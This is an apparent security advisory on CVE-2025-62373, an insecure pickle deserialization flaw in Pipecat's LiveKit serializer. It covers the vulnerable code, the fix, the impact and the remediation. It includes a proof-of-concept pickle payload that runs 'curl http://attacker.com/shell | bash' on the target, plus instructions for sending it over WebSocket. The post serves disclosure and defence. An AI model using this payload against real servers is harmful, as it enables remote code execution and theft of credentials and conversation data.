Apr 24, 2026·6 min read·4 visits
A critical insecure deserialization flaw in Pipecat versions 0.0.41 through 0.0.93 allows unauthenticated remote attackers to execute arbitrary Python code by sending malicious pickle payloads to an exposed WebSocket endpoint.
CVE-2025-62373 is a critical remote code execution (RCE) vulnerability in Pipecat, an open-source Python framework for building real-time voice and multimodal conversational agents. The flaw originates from the unsafe deserialization of untrusted data using Python's pickle module within the LivekitFrameSerializer class.
Pipecat is an open-source Python framework designed for constructing real-time voice and multimodal conversational agents. The framework provides various optional serializers to handle different data formats across network transports. One such component, the LivekitFrameSerializer, is responsible for processing audio frame data received over WebSockets from LiveKit clients.
CVE-2025-62373 identifies a critical insecure deserialization vulnerability within this specific serializer component. The vulnerability is tracked under CWE-502 (Deserialization of Untrusted Data) and carries a CVSS v3.1 base score of 9.8. This severity metric reflects the ease with which an unauthenticated remote attacker can exploit the condition to achieve complete system compromise over the network.
The core issue resides in the application's trust model regarding inbound network data. The LivekitFrameSerializer utilizes Python's native pickle module to deserialize incoming binary streams without performing any validation or sanitization. Because the pickle implementation is inherently unsafe when processing untrusted inputs, this architectural design exposes the host system to arbitrary code execution attacks.
The root cause of CVE-2025-62373 is the direct invocation of pickle.loads() on raw, unvalidated bytes received from a WebSocket connection. Python's pickle module is engineered for serializing and deserializing complex Python object hierarchies. The official Python documentation explicitly states that the module is not secure against erroneously or maliciously constructed data.
During the deserialization process, the pickle implementation reconstructs objects by executing a specialized virtual machine built into the module. Attackers dictate this reconstruction process by defining a __reduce__ method within a custom class. This method specifies a callable object and a tuple of arguments that the virtual machine executes. When the unpickling process encounters this structure, it blindly executes the provided callable with the specified arguments.
In the context of Pipecat, the LivekitFrameSerializer.deserialize() asynchronous method accepts a data parameter of type str | bytes directly from the network layer. The application expects this payload to contain a benign, serialized dictionary containing an AudioFrame object. Because no structural validation or cryptographic signature verification occurs prior to unpickling, an attacker can substitute the expected payload with a malicious object designed to execute arbitrary system commands via modules such as os or subprocess.
The vulnerable code path existed in the src/pipecat/serializers/livekit.py file. The deserialize method was implemented to directly extract an AudioFrame from the unpickled data structure. The code logic failed to implement any defensive measures against object injection.
async def deserialize(self, data: str | bytes) -> Frame | None:
"""Deserialize LiveKit AudioFrame data to a Pipecat frame."""
# VULNERABLE SINK: untrusted data passed directly to pickle.loads
audio_frame: AudioFrame = pickle.loads(data)["frame"]
return InputAudioRawFrame(
audio=bytes(audio_frame.data),
sample_rate=audio_frame.sample_rate,
num_channels=audio_frame.num_channels,
)To resolve this critical flaw, the maintainers implemented a definitive architectural fix in commit c1c7a561ede756f6c7311f4042b1640f916771de. Rather than attempting to securely sandbox the pickle module, they opted to entirely remove the src/pipecat/serializers/livekit.py file and the offending LivekitFrameSerializer class.
This approach eliminates the vulnerability surface completely. The maintainers now direct users to utilize the LiveKitTransport mechanism, which relies on the official LiveKit SDK. This modern implementation uses Protocol Buffers (protobuf) for data serialization, a format that strictly defines data structures and does not support arbitrary code execution during parsing.
Exploiting CVE-2025-62373 requires minimal prerequisites. An attacker only needs network connectivity to a Pipecat server that exposes a WebSocket endpoint and is configured to utilize the LivekitFrameSerializer. No prior authentication or specific session state is required to trigger the deserialization routine.
The attack sequence begins with the generation of a malicious pickle payload. The attacker constructs a Python script defining a class with a __reduce__ method that returns a target function alongside the desired shell command. The script then serializes an instance of this class into a binary byte stream using pickle.dumps().
import pickle
import os
class MaliciousPayload:
def __reduce__(self):
# Execute a reverse shell command upon deserialization
return (os.system, ('curl http://attacker.com/shell | bash',))
# Structure matches the expected dictionary key "frame"
payload = pickle.dumps({"frame": MaliciousPayload()})Once the payload is generated, the attacker initiates a WebSocket connection to the vulnerable Pipecat endpoint. The binary payload is transmitted over the connection. Upon receipt, the server passes the payload to LivekitFrameSerializer.deserialize(), triggering the execution of the embedded command with the operating system privileges of the Pipecat application process.
The impact of CVE-2025-62373 is categorized as complete loss of confidentiality, integrity, and availability. Successful exploitation yields unauthenticated Remote Code Execution (RCE). The attacker gains the ability to execute arbitrary commands on the underlying host system with the privileges of the Python process running the Pipecat application.
Because Pipecat is typically deployed as a backend service for conversational agents, the host system often contains highly sensitive configuration data. An attacker can immediately access API keys for downstream AI models, database credentials, and internal network configurations. This access facilitates rapid lateral movement into other segments of the internal infrastructure.
> [!NOTE]
> Applications running as the root user or with elevated Docker container privileges expose the host environment to total compromise. Following the principle of least privilege limits the initial scope of the post-exploitation environment.
Furthermore, the real-time nature of the application dictates that it handles continuous audio and text streams. An attacker who compromises the Pipecat server can intercept, record, or manipulate ongoing conversational data. This introduces severe privacy implications for users interacting with the deployed voice agents.
The primary and most effective remediation strategy for CVE-2025-62373 is to upgrade the Pipecat framework to version 0.0.94 or later. This release permanently removes the vulnerable LivekitFrameSerializer class from the codebase. Organizations utilizing Pipecat must audit their application dependencies and deploy the patched version immediately.
For developers who previously relied on the LivekitFrameSerializer, the official migration path requires transitioning to LiveKitTransport. This alternative implementation leverages the official LiveKit SDK and employs Protocol Buffers for communication. This architectural shift ensures that data serialization operations are structurally bound and immune to object injection attacks.
If immediate patching is technically infeasible, administrators must implement compensating controls. Network access to the Pipecat WebSocket endpoints should be strictly limited to trusted internal IP addresses using firewall rules or security groups. Binding the application to the 127.0.0.1 loopback interface, rather than 0.0.0.0, will prevent external exploitation from remote hosts.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
pipecat pipecat-ai | >= 0.0.41, <= 0.0.93 | 0.0.94 |
| Attribute | Detail |
|---|---|
| CVSS Score | 9.8 |
| Severity | CRITICAL |
| CWE ID | CWE-502 |
| Attack Vector | Network |
| Authentication Required | None |
| CISA KEV Listed | No |
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.